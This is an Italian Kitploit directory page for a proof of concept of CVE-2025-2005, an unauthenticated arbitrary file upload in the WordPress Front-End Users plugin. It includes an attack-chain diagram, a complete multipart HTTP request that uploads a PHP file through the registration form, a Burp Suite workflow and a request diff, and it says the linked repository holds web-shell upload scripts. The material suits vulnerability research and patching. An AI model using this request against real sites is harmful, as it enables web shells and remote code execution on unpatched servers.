Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-2005 — Exploit proof-of-concept per CVE-2025-2005, una vulnerabilità di upload arbitrario di file nel plugin WordPress Front-End Users (<=3.2.32). Include script HTTP manuali e Python per caricare shell web PHP su moduli di registrazione non autenticati. | Kitploit
Strumenti/GitHubGitHub/h4ckxel/cve-2025-2005
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

Exploit proof-of-concept per CVE-2025-2005, una vulnerabilità di upload arbitrario di file nel plugin WordPress Front-End Users (<=3.2.32). Include script HTTP manuali e Python per caricare shell web PHP su moduli di registrazione non autenticati.

Vedi Repository
1141 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2005 — Caricamento arbitrario di file da parte degli utenti front-end

CVE-2025-2005

WordPress Front-End Users — Caricamento arbitrario di file non autenticato

0xZ3R0 // h4ckxel

CVE WordPress Status Research


0x00 — Sintesi esecutiva

Front-End Users è affetto da una vulnerabilità di caricamento arbitrario di file non autenticato che interessa le versioni ≤ 3.2.32.

Il flusso di registrazione vulnerabile espone una primitiva di caricamento che può essere raggiunta senza richiedere un account WordPress privilegiato.

Il problema alla base è una validazione insufficiente dei metadati e del contenuto del caricamento controllati dall'attaccante prima che il file venga salvato nel filesystem.

Catena di attacco

                  UNAUTHENTICATED ATTACKER
                           │
                           ▼
                 Public registration form
                           │
                           ▼
                  multipart/form-data
                           │
                           ▼
                Front-End Users handler
                           │
                           ▼
                Insufficient validation
                           │
                           ▼
                Attacker-controlled file
                           │
                           ▼
        /wp-content/uploads/ewd_feup_uploads/
                           │
                           ▼
              Web-accessible resource
                           │
                           ▼
             PHP execution if permitted
                           │
                           ▼
                         RCE

L'impatto finale dipende dalla configurazione del web server e di PHP del target.


0x01 — Metadati della vulnerabilità

ProprietàValore
CVECVE-2025-2005
ProdottoFront-End Users
Versioni affette≤ 3.2.32
CWECWE-434
ClasseCaricamento non limitato di file di tipo pericoloso
Vettore di attaccoRete
AutenticazioneNessuna
Privilegi richiestiNessuno
Interazione utenteNessuna
Primitiva principaleCaricamento arbitrario di file
Impatto potenzialeEsecuzione di codice remoto
Ricercatoreh4ckxel
Namespace0xZ3R0

0x02 — Classificazione della vulnerabilità

CWE-434

Caricamento non limitato di file di tipo pericoloso

Il comportamento vulnerabile può essere ridotto a:

Untrusted Input
      │
      ├── filename
      ├── extension
      ├── MIME type
      └── file content
             │
             ▼
       upload handler
             │
             ▼
        filesystem

Il confine di sicurezza fallisce perché dati controllati dall'attaccante raggiungono una posizione persistente nel filesystem senza una validazione sufficiente.


0x03 — Superficie d'attacco

La funzionalità vulnerabile è associata al sistema di registrazione front-end del plugin.

Una tipica richiesta di registrazione contiene:

ewd-feup-action=register
Username=<value>
User_Password=<value>

e può contenere un ulteriore campo file multipart:

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

Content-Type: application/x-php

La parte interessante non è la registrazione in sé.

La parte interessante è che la richiesta attraversa il seguente confine di fiducia:

                 INTERNET
                    │
                    ▼
          attacker-controlled HTTP
                    │
                    ▼
          registration endpoint
                    │
                    ▼
             upload handler
                    │
                    ▼
              filesystem

0x04 — Causa principale

La vulnerabilità ha origine da una validazione lato server inadeguata dei file caricati.

Un'implementazione sicura dovrebbe stabilire più controlli indipendenti:

                   UPLOAD
                     │
        ┌────────────┴────────────┐
        ▼                         ▼
 Authentication              Authorization
        │                         │
        └────────────┬────────────┘
                     ▼
             Extension allowlist
                     │
                     ▼
              MIME verification
                     │
                     ▼
              Content validation
                     │
                     ▼
            Server-side filename
                     │
                     ▼
          Non-executable storage

Nessuno di questi controlli, se assente, crea necessariamente RCE.

Il problema diventa sostanzialmente più grave quando più livelli falliscono contemporaneamente.


0x05 — PoC controllato

Il seguente PoC dimostra la primitiva di scrittura su file senza distribuire una shell di comandi.

Richiesta HTTP

POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary

------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"

14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"

1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"

register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"

poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php

<?php echo "CVE-2025-2005"; ?>

------0xZ3R0Boundary--

Risultato atteso del filesystem

wp-content/
└── uploads/
    └── ewd_feup_uploads/
        └── <randomized-name>.php

L'osservazione importante è:

attacker-controlled extension
            +
attacker-controlled content
            +
persistent filesystem write

0x06 — Flusso di lavoro di Burp Suite

Un flusso di lavoro pratico per un ambiente di laboratorio:

[1] Open registration page
        │
        ▼
[2] Submit legitimate registration
        │
        ▼
[3] Intercept request with Burp
        │
        ▼
[4] Locate multipart file parameter
        │
        ▼
[5] Replace benign file with PoC file
        │
        ▼
[6] Forward request
        │
        ▼
[7] Inspect response
        │
        ▼
[8] Verify filesystem artifact
        │
        ▼
[9] Test whether uploads are executable

L'osservazione critica per la sicurezza deve essere effettuata prima di tentare qualsiasi post-sfruttamento.


0x07 — Diff delle richieste

Richiesta legittima

Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"

<image-data>

Richiesta modificata

Content-Disposition: form-data;
name="xxploit";
filename="poc.php"

<?php echo "CVE-2025-2005"; ?>

Concettualmente:

Scarica lo strumento